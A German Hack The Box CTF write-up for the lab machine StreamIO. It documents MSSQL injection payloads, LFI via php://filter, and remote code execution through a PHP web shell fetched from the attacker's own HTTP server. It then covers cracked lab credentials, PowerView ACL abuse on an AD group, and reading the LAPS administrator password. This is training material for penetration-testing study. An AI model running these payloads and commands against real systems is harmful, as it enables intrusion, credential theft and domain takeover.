← Zurück zu Machines

HTB · published

StreamIO

Hack The Box CPTS-Track Writeup für StreamIO: Web Enumeration, MSSQL Injection, Credential Cracking, PHP LFI/RFI, SQL Backup Credentials, WinRM Foothold, AD ACL Abuse und LAPS zu Administrator.

HTBCPTSWriteupActive DirectoryMSSQLLFIRFIWinRMLAPSMachineWindowsAD Exploitation

Metadaten


  • Name: StreamIO
  • IP Address: 10.129.8.130
  • Plattform: Windows
  • Kategorie: Active Directory / Web / MSSQL / LAPS
  • Schwierigkeit: Medium
  • Ziel(e): User, Administrator
  • Kurzbeschreibung des Szenarios: StreamIO ist ein Windows Active Directory Domain Controller mit IIS/PHP-Webanwendungen auf streamIO.htb und watch.streamIO.htb. Der Weg führt über SQL Injection, Credential Recovery, Admin-Panel-Zugriff, LFI/RFI zu Command Execution, SQL-Backup-Credentials, WinRM als nikk37 und anschließend AD-ACL-Abuse auf CORE STAFF, um LAPS auszulesen und Administrator-Zugriff zu erhalten.

Reconnaissance/ Enumeration

initscan:

nmap -Pn -p- --min-rate 5000 -oA scans/full_tcp 10.129.8.130
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
443/tcp   open  https
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws

Die offenen Ports zeigen direkt eine AD/DC-Box mit Weboberfläche und WinRM.

servicescan:

nmap -n -Pn -sV -sC -O -p80,135,139,445,5985 --version-all -oA scans/services_confirmed 10.129.8.130
80/tcp   open  http          Microsoft IIS httpd 10.0
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0

SMB/LDAP Enumeration:

Long domain name: streamIO.htb
NetBIOS computer name: DC
FQDN: DC.streamIO.htb
OS build: 17763
SMB signing required: true
Null session: denied

Wichtige Hosts:

10.129.8.130 streamIO.htb watch.streamIO.htb DC.streamIO.htb

HTTPS zeigte zwei Webanwendungen:

https://streamIO.htb/
https://watch.streamIO.htb/

whatweb zeigte IIS/PHP:

Microsoft-IIS/10.0
PHP/7.2.26
X-Powered-By: PHP/7.2.26, ASP.NET

Web Enumeration

Auf streamIO.htb wurden u. a. folgende Pfade gefunden:

/login.php
/register.php
/admin/
/admin/index.php
/admin/master.php
/css/backup.zip

Interessante Ferox-Ergebnisse:

301  https://streamio.htb/admin => /admin/
200  https://streamio.htb/login.php
200  https://streamio.htb/register.php
200  https://streamio.htb/css/backup.zip
403  https://streamio.htb/admin/index.php
200  https://streamio.htb/admin/master.php

Auf watch.streamIO.htb war besonders search.php interessant:

200  https://watch.streamio.htb/search.php

Exploitation (Foothold)

MSSQL Injection auf watch.streamIO.htb

Die Suche auf watch.streamIO.htb/search.php reagierte deutlich unterschiedlich auf SQLi-Payloads:

q=a                  -> 170682 bytes
q='                  -> 1031 bytes
q=%'-- -             -> 253887 bytes
q=%' OR 1=1-- -      -> 7 bytes
q=%' AND 1=2-- -     -> 1031 bytes

Das Verhalten passte zu MSSQL Injection. Über die Injection wurden Datenbanken, Tabellen und Benutzer-Hashes aus STREAMIO.users enumeriert.

Hash-Cracking lieferte mehrere Passwörter:

Lauren:##123a8j8w5123##
Sabrina:!!sabrina$
Barry:$hadoW
Clara:%$clara
Juliette:$3xybitch

Zusätzlich wurde ein gültiger Web-Admin-Zugang identifiziert:

yoshihide / 66boysandgirls..

Nach Login auf streamIO.htb/login.php wurde eine Admin-Session gesetzt und /admin/ war erreichbar.

HTTP/2 302
location: https://streamio.htb/
set-cookie: PHPSESSID=...

Admin Panel Source Disclosure via LFI

Im Admin-Panel gab es einen debug-Parameter. Über PHP Filter konnte Source Code gelesen werden:

/admin/?debug=php://filter/convert.base64-encode/resource=index.php

In index.php standen MSSQL-Zugangsdaten:

$connection = array(
  "Database"=>"STREAMIO",
  "UID" => "db_admin",
  "PWD" => 'B1@hx31234567890'
);
$handle = sqlsrv_connect('(local)', $connection);

Außerdem zeigte der Code die Include-Schwachstelle:

if(isset($_GET['debug']))
{
  include $_GET['debug'];
}

master.php und RFI/RCE

master.php war eigentlich nur über Includes gedacht:

if(!defined('included'))
  die("Only accessable through includes");

Am Ende enthielt die Datei aber eine gefährliche Konstruktion:

if(isset($_POST['include']))
{
  if($_POST['include'] !== "index.php")
    eval(file_get_contents($_POST['include']));
  else
    echo(" ---- ERROR ---- ");
}

Damit war aus LFI praktisch RFI/RCE möglich. Ein einfacher Payload wurde lokal bereitgestellt:

<?php system($_REQUEST['cmd']); ?>

Beispiel:

python3 -m http.server 8000
curl -k -b web/yoshihide.cookies \
  -X POST 'https://streamio.htb/admin/?debug=master.php' \
  -d 'include=http://10.10.15.109:8000/cmd.txt&cmd=whoami'

Command Execution lief als:

streamio\yoshihide

STREAMIO_BACKUP Credentials

Mit dem bestehenden SQL-Handle wurden weitere Datenbanken abgefragt. Besonders wichtig war:

STREAMIO_BACKUP

Aus STREAMIO_BACKUP..users wurde der Benutzer nikk37 mit MD5-Hash extrahiert:

nikk37:389d14cb8e4e9b94b137deb1caf0612a

Der Hash wurde geknackt:

389d14cb8e4e9b94b137deb1caf0612a:get_dem_girls2@yahoo.com

WinRM war offen und die Credentials funktionierten:

crackmapexec winrm 10.129.8.130 -d streamIO.htb -u nikk37 -p 'get_dem_girls2@yahoo.com'
[+] streamIO.htb\nikk37:get_dem_girls2@yahoo.com (Pwn3d!)

Foothold:

evil-winrm -i 10.129.8.130 -u nikk37 -p 'get_dem_girls2@yahoo.com'

User Flag:

b1d76[REDACTED-USER-FLAG]3ee7

Lateral Movement / User Escalation

Mit nikk37 gab es eine stabile WinRM-Shell:

streamio\nikk37
DC

Für die AD-Eskalation wurden weitere Credentials benötigt. In den vorhandenen Browser-/Credential-Artefakten wurde ein Domain-User gefunden:

JDgodd / JDg0dd1s@d0p3cr3@t0r

Der wichtige AD-Pfad war:

JDgodd -> CORE STAFF -> LAPS Read

PowerView.ps1 wurde in der nikk37-Session hochgeladen und geladen:

upload PowerView.ps1
. .\PowerView.ps1

Credentials für JDgodd:

$SecPassword = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('streamIO.htb\JDgodd', $SecPassword)

Zuerst wurde der Owner von CORE STAFF auf JDgodd gesetzt:

Set-DomainObjectOwner -Identity 'CORE STAFF' -OwnerIdentity JDgodd -Cred $Cred -Verbose
Verbose: [Set-DomainObjectOwner] Attempting to set the owner for 'CORE STAFF' to 'JDgodd'

Dann wurden Rechte auf CORE STAFF gesetzt:

Add-DomainObjectAcl -TargetIdentity 'CORE STAFF' -PrincipalIdentity JDgodd -Cred $Cred -Rights All -Verbose
Verbose: [Add-DomainObjectAcl] Granting principal CN=JDgodd,CN=Users,DC=streamIO,DC=htb 'All' on CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb

Anschließend wurde JDgodd zur Gruppe hinzugefügt:

Add-DomainGroupMember -Identity 'CORE STAFF' -Members 'JDgodd' -Cred $Cred -Verbose
Verbose: [Add-DomainGroupMember] Adding member 'JDgodd' to group 'CORE STAFF'

Prüfung:

Group name     CORE STAFF
Members
-------------------------------------------------------------------------------
JDgodd

Privilege Escalation (Root / Domain)

LAPS Password auslesen

Durch die Mitgliedschaft in CORE STAFF konnte JDgodd das LAPS-Passwort des Domain Controllers lesen:

ldapsearch -x -H ldap://10.129.8.130 \
  -D 'JDgodd@streamio.htb' -w 'JDg0dd1s@d0p3cr3@t0r' \
  -b 'DC=streamIO,DC=htb' '(&(objectClass=computer)(sAMAccountName=DC$))' \
  ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime
dn: CN=DC,OU=Domain Controllers,DC=streamIO,DC=htb
ms-Mcs-AdmPwd: L!(ZX$/11r/85b
ms-Mcs-AdmPwdExpirationTime: 134251538006537420

Administrator-WinRM war damit möglich:

crackmapexec winrm 10.129.8.130 -d streamIO.htb -u Administrator -p 'L!(ZX$/11r/85b'
[+] streamIO.htb\Administrator:L!(ZX$/11r/85b (Pwn3d!)

Root lag nicht auf dem Administrator-Desktop, sondern unter Martin:

Get-ChildItem C:\Users -Recurse -Filter root.txt -ErrorAction SilentlyContinue
C:\Users\Martin\Desktop\root.txt

Root Flag:

85286[REDACTED-ROOT-FLAG]68c8

Post-Exploitation

  • User Flag: b1d76[REDACTED-USER-FLAG]3ee7
  • Root Flag: 85286[REDACTED-ROOT-FLAG]68c8
  • Web Admin: yoshihide / 66boysandgirls..
  • SQL User: db_admin / B1@hx31234567890
  • WinRM User: nikk37 / get_dem_girls2@yahoo.com
  • AD User: JDgodd / JDg0dd1s@d0p3cr3@t0r
  • LAPS Admin: Administrator / L!(ZX$/11r/85b
  • Wichtige Dateien: PowerView.ps1, backup.zip, admin/index.php, admin/master.php

Lessons Learned

  • Zertifikat-SANs und VHosts sind bei Web/AD-Mischboxen extrem wichtig. Hier führten streamIO.htb und watch.streamIO.htb zu zwei unterschiedlichen Angriffsflächen.
  • SQL Injection in einer Neben-App kann Credentials liefern, die in der Haupt-App funktionieren.
  • LFI wird gefährlich, wenn PHP-Wrapper wie php://filter Source Code offenlegen.
  • eval(file_get_contents($_POST['include'])) ist praktisch eine Einladung zur RFI/RCE, wenn externe URLs erlaubt sind.
  • Backup-Datenbanken sind Gold wert. STREAMIO_BACKUP enthielt den entscheidenden WinRM-Benutzer.
  • LAPS schützt nur dann, wenn die Leserechte streng sind. Eine ACL-Kette auf eine Gruppe mit LAPS-Read reicht für Administrator.

Notizen

  • Bei IIS/PHP immer nach Case-Varianten suchen: Admin, ADMIN, Css, CSS, etc.
  • Hashes aus Webdatenbanken immer mit Benutzername und Kontext sortieren, sonst verliert man schnell den Überblick.
  • Bei AD-PrivEsc mit PowerView die Reihenfolge beachten: Owner setzen, ACL setzen, Gruppenmitgliedschaft ändern.
  • Nach Gruppenänderungen ggf. neue Authentifizierung verwenden, damit Rechte sauber greifen.
  • Root-Flag muss nicht zwingend auf Administrator\Desktop liegen; Suche unter C:\Users lohnt sich.